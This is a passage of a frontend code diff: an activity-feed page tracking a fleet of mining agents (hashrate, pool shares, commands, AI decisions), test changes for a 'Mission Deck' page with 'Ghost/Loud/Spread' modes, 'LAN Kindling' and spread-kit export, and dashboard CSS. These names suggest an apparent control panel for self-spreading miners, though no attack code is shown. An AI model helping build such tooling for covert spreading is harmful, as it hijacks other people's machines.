||||||
|
isConnected,
|
||||||
|
agents,
|
||||||
|
recentShares,
|
||||||
|
fleetAlerts,
|
||||||
|
commandResults,
|
||||||
|
aiActivity,
|
||||||
|
latestMessage,
|
||||||
|
} = useWebSocket();
|
||||||
|
|
||||||
|
const [events, setEvents] = useState<ActivityEvent[]>([]);
|
||||||
|
const [activeFilters, setActiveFilters] = useState<Set<ActivityEventKind>>(new Set(ALL_KINDS));
|
||||||
|
const [search, setSearch] = useState('');
|
||||||
|
const [autoScroll, setAutoScroll] = useState(true);
|
||||||
|
const streamRef = useRef<HTMLDivElement>(null);
|
||||||
|
const agentMapRef = useRef<Map<string, string>>(new Map()); // id → name
|
||||||
|
const prevAgentStatus = useRef<Record<string, string>>({}); // id → status
|
||||||
|
const prevHashrates = useRef<Record<string, number>>({}); // id → hashrate_15m
|
||||||
|
const prevPosture = useRef<Record<string, number>>({}); // id → posture_score
|
||||||
|
|
||||||
|
// Build agent name lookup
|
||||||
|
useEffect(() => {
|
||||||
|
for (const a of agents) agentMapRef.current.set(a.id, a.name);
|
||||||
|
}, [agents]);
|
||||||
|
|
||||||
|
const push = useCallback((ev: ActivityEvent) => {
|
||||||
|
setEvents((prev) => [ev, ...prev].slice(0, MAX_EVENTS));
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
// ── Agent status change events (online / offline) ──────────────────────
|
||||||
|
useEffect(() => {
|
||||||
|
for (const agent of agents) {
|
||||||
|
const prev = prevAgentStatus.current[agent.id];
|
||||||
|
if (prev === undefined) {
|
||||||
|
// First time we see this agent — synthetic "connect" on page load
|
||||||
|
prevAgentStatus.current[agent.id] = agent.status;
|
||||||
|
if (agent.status === 'online') {
|
||||||
|
push({
|
||||||
|
id: eid(), kind: 'connect',
|
||||||
|
agentId: agent.id, agentName: agent.name,
|
||||||
|
message: 'came online',
|
||||||
|
detail: `${agent.platform ?? 'unknown'} · ${agent.ip ?? '—'} · ${agent.cpu_cores}c`,
|
||||||
|
ts: new Date(),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (prev !== agent.status) {
|
||||||
|
prevAgentStatus.current[agent.id] = agent.status;
|
||||||
|
if (agent.status === 'online') {
|
||||||
|
push({
|
||||||
|
id: eid(), kind: 'connect',
|
||||||
|
agentId: agent.id, agentName: agent.name,
|
||||||
|
message: 'reconnected',
|
||||||
|
detail: `${agent.platform ?? ''} · ${agent.ip ?? '—'}`,
|
||||||
|
ts: new Date(),
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
push({
|
||||||
|
id: eid(), kind: 'disconnect',
|
||||||
|
agentId: agent.id, agentName: agent.name,
|
||||||
|
message: 'went offline',
|
||||||
|
ts: new Date(),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}, [agents, push]);
|
||||||
|
|
||||||
|
// ── Hashrate spike events ──────────────────────────────────────────────
|
||||||
|
useEffect(() => {
|
||||||
|
for (const agent of agents) {
|
||||||
|
if (agent.status !== 'online') continue;
|
||||||
|
const prev = prevHashrates.current[agent.id];
|
||||||
|
const cur = agent.hashrate_15m ?? 0;
|
||||||
|
prevHashrates.current[agent.id] = cur;
|
||||||
|
if (prev === undefined || prev <= 0) continue;
|
||||||
|
const delta = cur - prev;
|
||||||
|
// Only emit if ≥20% change AND at least 100 H/s delta
|
||||||
|
if (Math.abs(delta) >= 100 && Math.abs(delta) / Math.max(prev, 1) >= 0.20) {
|
||||||
|
push({
|
||||||
|
id: eid(), kind: 'hashrate',
|
||||||
|
agentId: agent.id, agentName: agent.name,
|
||||||
|
message: delta > 0 ? `hashrate up to ${formatHashrate(cur)}` : `hashrate dropped to ${formatHashrate(cur)}`,
|
||||||
|
detail: `Δ${delta > 0 ? '+' : ''}${formatHashrate(delta)}`,
|
||||||
|
ts: new Date(),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}, [agents, push]);
|
||||||
|
|
||||||
|
// ── Posture score change events ────────────────────────────────────────
|
||||||
|
useEffect(() => {
|
||||||
|
for (const agent of agents) {
|
||||||
|
if (agent.posture_score == null) continue;
|
||||||
|
const prev = prevPosture.current[agent.id];
|
||||||
|
const cur = agent.posture_score;
|
||||||
|
prevPosture.current[agent.id] = cur;
|
||||||
|
if (prev === undefined) continue;
|
||||||
|
const delta = cur - prev;
|
||||||
|
if (Math.abs(delta) >= 10) {
|
||||||
|
push({
|
||||||
|
id: eid(), kind: 'posture',
|
||||||
|
agentId: agent.id, agentName: agent.name,
|
||||||
|
message: `posture score ${delta > 0 ? 'improved' : 'degraded'} to ${cur}/100`,
|
||||||
|
detail: `Δ${delta > 0 ? '+' : ''}${delta}`,
|
||||||
|
ts: new Date(),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}, [agents, push]);
|
||||||
|
|
||||||
|
// ── New share events ───────────────────────────────────────────────────
|
||||||
|
const lastShareId = useRef<string | null>(null);
|
||||||
|
useEffect(() => {
|
||||||
|
if (recentShares.length === 0) return;
|
||||||
|
const top = recentShares[0];
|
||||||
|
const key = top.id != null ? String(top.id) : `${top.agent_id}-${top.hash}`;
|
||||||
|
if (key === lastShareId.current) return;
|
||||||
|
lastShareId.current = key;
|
||||||
|
const name = agentMapRef.current.get(top.agent_id) ?? top.agent_id?.slice(0, 8);
|
||||||
|
push({
|
||||||
|
id: eid(), kind: 'share',
|
||||||
|
agentId: top.agent_id, agentName: name,
|
||||||
|
message: top.accepted ? 'share accepted by pool' : 'share rejected',
|
||||||
|
detail: top.accepted ? undefined : top.error ?? 'pool rejection',
|
||||||
|
ts: new Date(top.timestamp ?? Date.now()),
|
||||||
|
});
|
||||||
|
}, [recentShares, push]);
|
||||||
|
|
||||||
|
// ── Fleet alert events ─────────────────────────────────────────────────
|
||||||
|
const lastAlertId = useRef<string | null>(null);
|
||||||
|
useEffect(() => {
|
||||||
|
if (fleetAlerts.length === 0) return;
|
||||||
|
const top = fleetAlerts[0];
|
||||||
|
if (top.id === lastAlertId.current) return;
|
||||||
|
lastAlertId.current = top.id;
|
||||||
|
push({
|
||||||
|
id: eid(), kind: 'alert',
|
||||||
|
agentId: top.agent_id, agentName: top.agent_name,
|
||||||
|
message: top.message,
|
||||||
|
detail: top.type,
|
||||||
|
ts: new Date(top.timestamp ?? Date.now()),
|
||||||
|
});
|
||||||
|
}, [fleetAlerts, push]);
|
||||||
|
|
||||||
|
// ── Command result events ──────────────────────────────────────────────
|
||||||
|
const lastCmdSeq = useRef(-1);
|
||||||
|
useEffect(() => {
|
||||||
|
if (commandResults.length === 0) return;
|
||||||
|
const top = commandResults[commandResults.length - 1];
|
||||||
|
if ((top._seq ?? -1) <= lastCmdSeq.current) return;
|
||||||
|
lastCmdSeq.current = top._seq ?? -1;
|
||||||
|
const name = agentMapRef.current.get(top.agent_id ?? '') ?? top.agent_id?.slice(0, 8);
|
||||||
|
push({
|
||||||
|
id: eid(), kind: 'command',
|
||||||
|
agentId: top.agent_id, agentName: name,
|
||||||
|
message: `${top.action} → ${top.success ? 'success' : 'failed'}`,
|
||||||
|
detail: top.success ? undefined : top.message?.slice(0, 80),
|
||||||
|
ts: new Date(),
|
||||||
|
});
|
||||||
|
}, [commandResults, push]);
|
||||||
|
|
||||||
|
// ── AI activity events ─────────────────────────────────────────────────
|
||||||
|
const lastAiAgent = useRef<Record<string, string>>({});
|
||||||
|
useEffect(() => {
|
||||||
|
for (const entry of aiActivity) {
|
||||||
|
const lastAction = lastAiAgent.current[entry.agent_id];
|
||||||
|
if (entry.last_action && entry.last_action !== lastAction) {
|
||||||
|
lastAiAgent.current[entry.agent_id] = entry.last_action;
|
||||||
|
const name = agentMapRef.current.get(entry.agent_id) ?? entry.agent_id?.slice(0, 8);
|
||||||
|
push({
|
||||||
|
id: eid(), kind: 'ai',
|
||||||
|
agentId: entry.agent_id, agentName: name,
|
||||||
|
message: `AI decided: ${entry.last_action}`,
|
||||||
|
detail: entry.last_reasoning?.slice(0, 80),
|
||||||
|
ts: entry.last_decide_at ? new Date(entry.last_decide_at) : new Date(),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}, [aiActivity, push]);
|
||||||
|
|
||||||
|
// ── Auto-scroll ────────────────────────────────────────────────────────
|
||||||
|
useEffect(() => {
|
||||||
|
if (!autoScroll || !streamRef.current) return;
|
||||||
|
streamRef.current.scrollTop = 0; // newest is at top
|
||||||
|
}, [events, autoScroll]);
|
||||||
|
|
||||||
|
// ── Filtered view ──────────────────────────────────────────────────────
|
||||||
|
const filtered = useMemo(() => {
|
||||||
|
let list = events.filter((e) => activeFilters.has(e.kind));
|
||||||
|
if (search.trim()) {
|
||||||
|
const q = search.trim().toLowerCase();
|
||||||
|
list = list.filter((e) =>
|
||||||
|
(e.agentName ?? '').toLowerCase().includes(q) ||
|
||||||
|
e.message.toLowerCase().includes(q) ||
|
||||||
|
(e.detail ?? '').toLowerCase().includes(q)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return list;
|
||||||
|
}, [events, activeFilters, search]);
|
||||||
|
|
||||||
|
// ── Stats for pills ────────────────────────────────────────────────────
|
||||||
|
const onlineCount = agents.filter((a) => a.status === 'online').length;
|
||||||
|
const totalHashrate = agents.reduce((s, a) => s + (a.hashrate_15m ?? 0), 0);
|
||||||
|
const alertCount = fleetAlerts.length;
|
||||||
|
|
||||||
|
const toggleFilter = (kind: ActivityEventKind) => {
|
||||||
|
setActiveFilters((prev) => {
|
||||||
|
const next = new Set(prev);
|
||||||
|
if (next.has(kind)) { next.delete(kind); } else { next.add(kind); }
|
||||||
|
if (next.size === 0) return new Set(ALL_KINDS); // prevent empty
|
||||||
|
return next;
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
const countByKind = useMemo(() => {
|
||||||
|
const m: Record<string, number> = {};
|
||||||
|
for (const e of events) m[e.kind] = (m[e.kind] ?? 0) + 1;
|
||||||
|
return m;
|
||||||
|
}, [events]);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="page fade-in activity-page">
|
||||||
|
|
||||||
|
{/* ── Hero ─────────────────────────────────────────────────────────── */}
|
||||||
|
<header className="activity-hero">
|
||||||
|
<div className="activity-hero-text">
|
||||||
|
<p className="activity-eyebrow">REAL-TIME INTELLIGENCE</p>
|
||||||
|
<h1>Activity Feed</h1>
|
||||||
|
<p className="page-subtitle">
|
||||||
|
Live event stream · agent connects · hashrate · shares · commands · AI decisions
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div className="activity-live-badge">
|
||||||
|
<div className={`activity-live-dot ${isConnected ? '' : 'offline'}`} />
|
||||||
|
{isConnected ? 'LIVE' : 'DISCONNECTED'}
|
||||||
|
{isConnected && <span style={{ color: 'rgba(57,255,20,0.6)' }}>· {events.length} events</span>}
|
||||||
|
</div>
|
||||||
|
</header>
|
||||||
|
|
||||||
|
{/* ── Stats pills ──────────────────────────────────────────────────── */}
|
||||||
|
<div className="activity-stat-pills">
|
||||||
|
<div className="activity-stat-pill">
|
||||||
|
<div className="activity-stat-pill-dot" style={{ background: '#39ff14', boxShadow: '0 0 4px #39ff14' }} />
|
||||||
|
{onlineCount} / {agents.length} online
|
||||||
|
</div>
|
||||||
|
{totalHashrate > 0 && (
|
||||||
|
<div className="activity-stat-pill">
|
||||||
|
<div className="activity-stat-pill-dot" style={{ background: '#00e8f5' }} />
|
||||||
|
{formatHashrate(totalHashrate)}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
{alertCount > 0 && (
|
||||||
|
<div className="activity-stat-pill">
|
||||||
|
<div className="activity-stat-pill-dot" style={{ background: '#ff6b35' }} />
|
||||||
|
{alertCount} alert{alertCount !== 1 ? 's' : ''}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
<div className="activity-stat-pill" style={{ marginLeft: 'auto' }}>
|
||||||
|
<input
|
||||||
|
type="checkbox"
|
||||||
|
id="autoscroll-check"
|
||||||
|
checked={autoScroll}
|
||||||
|
onChange={(e) => setAutoScroll(e.target.checked)}
|
||||||
|
style={{ cursor: 'pointer', accentColor: '#00e8f5' }}
|
||||||
|
/>
|
||||||
|
<label htmlFor="autoscroll-check" style={{ cursor: 'pointer', color: 'var(--text-muted)', fontSize: '0.62rem', fontFamily: 'monospace' }}>
|
||||||
|
Auto-scroll
|
||||||
|
</label>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* ── Filter bar ───────────────────────────────────────────────────── */}
|
||||||
|
<div className="activity-filters">
|
||||||
|
<span className="activity-filter-label">FILTER:</span>
|
||||||
|
{ALL_KINDS.map((kind) => {
|
||||||
|
const cfg = KIND_CONFIG[kind];
|
||||||
|
const isActive = activeFilters.has(kind);
|
||||||
|
const count = countByKind[kind] ?? 0;
|
||||||
|
return (
|
||||||
|
<button
|
||||||
|
key={kind}
|
||||||
|
type="button"
|
||||||
|
className={`activity-type-chip ${isActive ? `active--${kind}` : ''}`}
|
||||||
|
onClick={() => toggleFilter(kind)}
|
||||||
|
title={`${isActive ? 'Hide' : 'Show'} ${cfg.label} events`}
|
||||||
|
>
|
||||||
|
{cfg.icon} {cfg.label}
|
||||||
|
{count > 0 && <span style={{ opacity: 0.65 }}> {count}</span>}
|
||||||
|
</button>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
<input
|
||||||
|
className="activity-search"
|
||||||
|
type="text"
|
||||||
|
placeholder="Search agent, message…"
|
||||||
|
value={search}
|
||||||
|
onChange={(e) => setSearch(e.target.value)}
|
||||||
|
/>
|
||||||
|
{(events.length > 0 || search) && (
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="activity-clear-btn"
|
||||||
|
onClick={() => { setEvents([]); setSearch(''); }}
|
||||||
|
>
|
||||||
|
CLEAR ALL
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* ── Event stream ─────────────────────────────────────────────────── */}
|
||||||
|
<div className="activity-stream-wrap">
|
||||||
|
<div className="activity-stream-header">
|
||||||
|
<span>◆ LIVE EVENT STREAM</span>
|
||||||
|
<span>sorted by most recent</span>
|
||||||
|
<span className="activity-stream-count">
|
||||||
|
{filtered.length} events{search ? ' matching' : ''}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div
|
||||||
|
ref={streamRef}
|
||||||
|
className="activity-stream"
|
||||||
|
onScroll={(e) => {
|
||||||
|
// Disable auto-scroll when user scrolls away from top
|
||||||
|
const el = e.currentTarget;
|
||||||
|
setAutoScroll(el.scrollTop < 60);
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
{filtered.length === 0 ? (
|
||||||
|
<div className="activity-empty">
|
||||||
|
<span className="activity-empty-icon">📡</span>
|
||||||
|
{events.length === 0
|
||||||
|
? 'Waiting for fleet events…'
|
||||||
|
: 'No events match your filters.'}
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
filtered.map((ev) => <EventRow key={ev.id} event={ev} />)
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -60,12 +60,12 @@ describe('MissionDeckPage', () => {
|
|||||||
expect(screen.getByText('Loading loadout defaults…')).toBeInTheDocument();
|
expect(screen.getByText('Loading loadout defaults…')).toBeInTheDocument();
|
||||||
expect(await screen.findByRole('heading', { level: 1, name: /Mission Deck/i })).toBeInTheDocument();
|
expect(await screen.findByRole('heading', { level: 1, name: /Mission Deck/i })).toBeInTheDocument();
|
||||||
expect(screen.getByText('FAST PATH')).toBeInTheDocument();
|
expect(screen.getByText('FAST PATH')).toBeInTheDocument();
|
||||||
expect(screen.getByText(/Pick a preset loadout/i)).toBeInTheDocument();
|
expect(await screen.findByText(/Pick a preset loadout/i)).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
it('renders Ghost / Loud / Spread mode chips in loadout layout', async () => {
|
it('renders Ghost / Loud / Spread mode chips in loadout layout', async () => {
|
||||||
renderMissionDeck();
|
renderMissionDeck();
|
||||||
await screen.findByRole('heading', { level: 1, name: 'Mission Deck' });
|
await screen.findByRole('region', { name: 'Mission loadout' });
|
||||||
expect(screen.getByRole('region', { name: 'Mission loadout' })).toBeInTheDocument();
|
expect(screen.getByRole('region', { name: 'Mission loadout' })).toBeInTheDocument();
|
||||||
const loadout = screen.getByRole('region', { name: 'Mission loadout' });
|
const loadout = screen.getByRole('region', { name: 'Mission loadout' });
|
||||||
expect(loadout).toHaveTextContent('Ghost');
|
expect(loadout).toHaveTextContent('Ghost');
|
||||||
@@ -76,7 +76,7 @@ describe('MissionDeckPage', () => {
|
|||||||
|
|
||||||
it('shows spread profile chips and campaign slug on the right panel', async () => {
|
it('shows spread profile chips and campaign slug on the right panel', async () => {
|
||||||
renderMissionDeck();
|
renderMissionDeck();
|
||||||
await screen.findByRole('heading', { level: 1, name: 'Mission Deck' });
|
await screen.findByRole('region', { name: 'Mission loadout' });
|
||||||
expect(screen.getByRole('heading', { level: 3, name: /Spread profile/i })).toBeInTheDocument();
|
expect(screen.getByRole('heading', { level: 3, name: /Spread profile/i })).toBeInTheDocument();
|
||||||
expect(screen.getByRole('button', { name: 'LAN Kindling' })).toBeInTheDocument();
|
expect(screen.getByRole('button', { name: 'LAN Kindling' })).toBeInTheDocument();
|
||||||
expect(screen.getByLabelText(/Campaign slug/i)).toBeInTheDocument();
|
expect(screen.getByLabelText(/Campaign slug/i)).toBeInTheDocument();
|
||||||
@@ -84,7 +84,7 @@ describe('MissionDeckPage', () => {
|
|||||||
|
|
||||||
it('links to Forge, Emberwake, Builds, and field guide', async () => {
|
it('links to Forge, Emberwake, Builds, and field guide', async () => {
|
||||||
renderMissionDeck();
|
renderMissionDeck();
|
||||||
await screen.findByRole('heading', { level: 1, name: /Mission Deck/i });
|
await screen.findByRole('region', { name: 'Mission loadout' });
|
||||||
expect(screen.getAllByRole('link', { name: /^Forge$/i }).length).toBeGreaterThan(0);
|
expect(screen.getAllByRole('link', { name: /^Forge$/i }).length).toBeGreaterThan(0);
|
||||||
expect(screen.getAllByRole('link', { name: /^Emberwake$/i }).length).toBeGreaterThan(0);
|
expect(screen.getAllByRole('link', { name: /^Emberwake$/i }).length).toBeGreaterThan(0);
|
||||||
expect(screen.getAllByRole('link', { name: /^Builds$/i }).length).toBeGreaterThan(0);
|
expect(screen.getAllByRole('link', { name: /^Builds$/i }).length).toBeGreaterThan(0);
|
||||||
@@ -97,7 +97,7 @@ describe('MissionDeckPage', () => {
|
|||||||
const buildSpy = vi.spyOn(api, 'buildAgent');
|
const buildSpy = vi.spyOn(api, 'buildAgent');
|
||||||
const exportSpy = vi.spyOn(api, 'exportSpreadKit');
|
const exportSpy = vi.spyOn(api, 'exportSpreadKit');
|
||||||
renderMissionDeck();
|
renderMissionDeck();
|
||||||
await screen.findByRole('heading', { level: 1, name: 'Mission Deck' });
|
await screen.findByRole('region', { name: 'Mission loadout' });
|
||||||
await user.click(screen.getByRole('button', { name: 'LAN Kindling' }));
|
await user.click(screen.getByRole('button', { name: 'LAN Kindling' }));
|
||||||
await user.click(screen.getByRole('button', { name: /Equip & Strike/i }));
|
await user.click(screen.getByRole('button', { name: /Equip & Strike/i }));
|
||||||
await waitFor(() => {
|
await waitFor(() => {
|
||||||
|
|||||||
567
server/web/src/pages/ROIPage.css
Normal file
567
server/web/src/pages/ROIPage.css
Normal file
@@ -0,0 +1,567 @@
|
|||||||
|
/* ── ROI Intelligence Dashboard ──────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.roi-page {
|
||||||
|
max-width: 1400px;
|
||||||
|
margin: 0 auto;
|
||||||
|
padding-bottom: 4rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Hero header ─────────────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.roi-hero {
|
||||||
|
display: flex;
|
||||||
|
align-items: flex-end;
|
||||||
|
justify-content: space-between;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
gap: 1rem;
|
||||||
|
margin-bottom: 2rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-hero-text p.roi-eyebrow {
|
||||||
|
font-size: 0.7rem;
|
||||||
|
letter-spacing: 0.18em;
|
||||||
|
color: var(--neon-amber, #ffb020);
|
||||||
|
margin: 0 0 0.25rem;
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-hero-text h1 {
|
||||||
|
font-size: 2rem;
|
||||||
|
font-weight: 800;
|
||||||
|
margin: 0 0 0.3rem;
|
||||||
|
background: linear-gradient(135deg, #ffb020 0%, #ff6b35 60%, #ff2da6 100%);
|
||||||
|
-webkit-background-clip: text;
|
||||||
|
-webkit-text-fill-color: transparent;
|
||||||
|
background-clip: text;
|
||||||
|
line-height: 1.1;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-hero-text .page-subtitle {
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-size: 0.82rem;
|
||||||
|
margin: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-price-ticker {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.5rem;
|
||||||
|
padding: 0.5rem 1rem;
|
||||||
|
background: rgba(255, 176, 32, 0.08);
|
||||||
|
border: 1px solid rgba(255, 176, 32, 0.3);
|
||||||
|
border-radius: 8px;
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
font-size: 0.85rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-price-symbol {
|
||||||
|
color: #ffb020;
|
||||||
|
font-weight: 700;
|
||||||
|
font-size: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-price-usd {
|
||||||
|
color: #fff;
|
||||||
|
font-size: 1.1rem;
|
||||||
|
font-weight: 700;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-price-label {
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-size: 0.65rem;
|
||||||
|
letter-spacing: 0.08em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-price-dot {
|
||||||
|
width: 7px;
|
||||||
|
height: 7px;
|
||||||
|
border-radius: 50%;
|
||||||
|
background: #39ff14;
|
||||||
|
box-shadow: 0 0 6px #39ff14;
|
||||||
|
animation: roi-blink 2s ease-in-out infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes roi-blink {
|
||||||
|
0%, 100% { opacity: 1; }
|
||||||
|
50% { opacity: 0.35; }
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Summary KPI row ─────────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.roi-kpi-row {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: repeat(auto-fit, minmax(160px, 1fr));
|
||||||
|
gap: 1rem;
|
||||||
|
margin-bottom: 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-kpi-card {
|
||||||
|
background: rgba(0, 0, 0, 0.35);
|
||||||
|
border: 1px solid rgba(255, 255, 255, 0.07);
|
||||||
|
border-radius: 12px;
|
||||||
|
padding: 1.1rem 1.25rem;
|
||||||
|
position: relative;
|
||||||
|
overflow: hidden;
|
||||||
|
transition: border-color 0.2s, transform 0.2s;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-kpi-card:hover {
|
||||||
|
transform: translateY(-2px);
|
||||||
|
border-color: rgba(255, 255, 255, 0.14);
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-kpi-card::before {
|
||||||
|
content: '';
|
||||||
|
position: absolute;
|
||||||
|
inset: 0;
|
||||||
|
opacity: 0.04;
|
||||||
|
pointer-events: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-kpi-card.amber::before { background: #ffb020; }
|
||||||
|
.roi-kpi-card.green::before { background: #39ff14; }
|
||||||
|
.roi-kpi-card.cyan::before { background: #00e8f5; }
|
||||||
|
.roi-kpi-card.magenta::before{ background: #ff2da6; }
|
||||||
|
.roi-kpi-card.violet::before { background: #b24bf3; }
|
||||||
|
.roi-kpi-card.orange::before { background: #ff6b35; }
|
||||||
|
|
||||||
|
.roi-kpi-accent {
|
||||||
|
position: absolute;
|
||||||
|
top: 0; left: 0;
|
||||||
|
width: 3px; height: 100%;
|
||||||
|
border-radius: 12px 0 0 12px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-kpi-card.amber .roi-kpi-accent { background: #ffb020; box-shadow: 0 0 8px #ffb020; }
|
||||||
|
.roi-kpi-card.green .roi-kpi-accent { background: #39ff14; box-shadow: 0 0 8px #39ff14; }
|
||||||
|
.roi-kpi-card.cyan .roi-kpi-accent { background: #00e8f5; box-shadow: 0 0 8px #00e8f5; }
|
||||||
|
.roi-kpi-card.magenta .roi-kpi-accent { background: #ff2da6; box-shadow: 0 0 8px #ff2da6; }
|
||||||
|
.roi-kpi-card.violet .roi-kpi-accent { background: #b24bf3; box-shadow: 0 0 8px #b24bf3; }
|
||||||
|
.roi-kpi-card.orange .roi-kpi-accent { background: #ff6b35; box-shadow: 0 0 8px #ff6b35; }
|
||||||
|
|
||||||
|
.roi-kpi-label {
|
||||||
|
font-size: 0.62rem;
|
||||||
|
letter-spacing: 0.12em;
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
margin-bottom: 0.4rem;
|
||||||
|
padding-left: 0.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-kpi-value {
|
||||||
|
font-size: 1.55rem;
|
||||||
|
font-weight: 800;
|
||||||
|
line-height: 1.1;
|
||||||
|
padding-left: 0.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-kpi-card.amber .roi-kpi-value { color: #ffb020; }
|
||||||
|
.roi-kpi-card.green .roi-kpi-value { color: #39ff14; }
|
||||||
|
.roi-kpi-card.cyan .roi-kpi-value { color: #00e8f5; }
|
||||||
|
.roi-kpi-card.magenta .roi-kpi-value { color: #ff2da6; }
|
||||||
|
.roi-kpi-card.violet .roi-kpi-value { color: #b24bf3; }
|
||||||
|
.roi-kpi-card.orange .roi-kpi-value { color: #ff6b35; }
|
||||||
|
|
||||||
|
.roi-kpi-sub {
|
||||||
|
font-size: 0.65rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
padding-left: 0.5rem;
|
||||||
|
margin-top: 0.2rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Two-column main layout ─────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.roi-grid {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: 1fr 1fr;
|
||||||
|
gap: 1.25rem;
|
||||||
|
margin-bottom: 1.25rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (max-width: 900px) {
|
||||||
|
.roi-grid { grid-template-columns: 1fr; }
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-grid--3 {
|
||||||
|
grid-template-columns: 1fr 1fr 1fr;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (max-width: 1100px) {
|
||||||
|
.roi-grid--3 { grid-template-columns: 1fr 1fr; }
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (max-width: 720px) {
|
||||||
|
.roi-grid--3 { grid-template-columns: 1fr; }
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Section card ─────────────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.roi-section {
|
||||||
|
background: rgba(0, 0, 0, 0.3);
|
||||||
|
border: 1px solid rgba(255, 255, 255, 0.07);
|
||||||
|
border-radius: 14px;
|
||||||
|
padding: 1.25rem 1.4rem;
|
||||||
|
position: relative;
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-section-title {
|
||||||
|
font-size: 0.68rem;
|
||||||
|
letter-spacing: 0.14em;
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
margin-bottom: 1rem;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-section-ornament {
|
||||||
|
color: #ffb020;
|
||||||
|
font-size: 0.6rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Node profitability table ─────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.roi-node-table {
|
||||||
|
width: 100%;
|
||||||
|
border-collapse: collapse;
|
||||||
|
font-size: 0.75rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-node-table th {
|
||||||
|
text-align: left;
|
||||||
|
font-size: 0.6rem;
|
||||||
|
letter-spacing: 0.1em;
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
padding: 0.3rem 0.5rem;
|
||||||
|
border-bottom: 1px solid rgba(255,255,255,0.06);
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-node-table td {
|
||||||
|
padding: 0.45rem 0.5rem;
|
||||||
|
border-bottom: 1px solid rgba(255,255,255,0.04);
|
||||||
|
vertical-align: middle;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-node-table tr:last-child td { border-bottom: none; }
|
||||||
|
|
||||||
|
.roi-node-table tr:hover td {
|
||||||
|
background: rgba(255,255,255,0.02);
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-node-rank {
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-size: 0.6rem;
|
||||||
|
width: 28px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.roi-node-name {
|
||||||
|
font-weight: 600;
|
||||||
|
max-width: 110px;
|
||||||
|
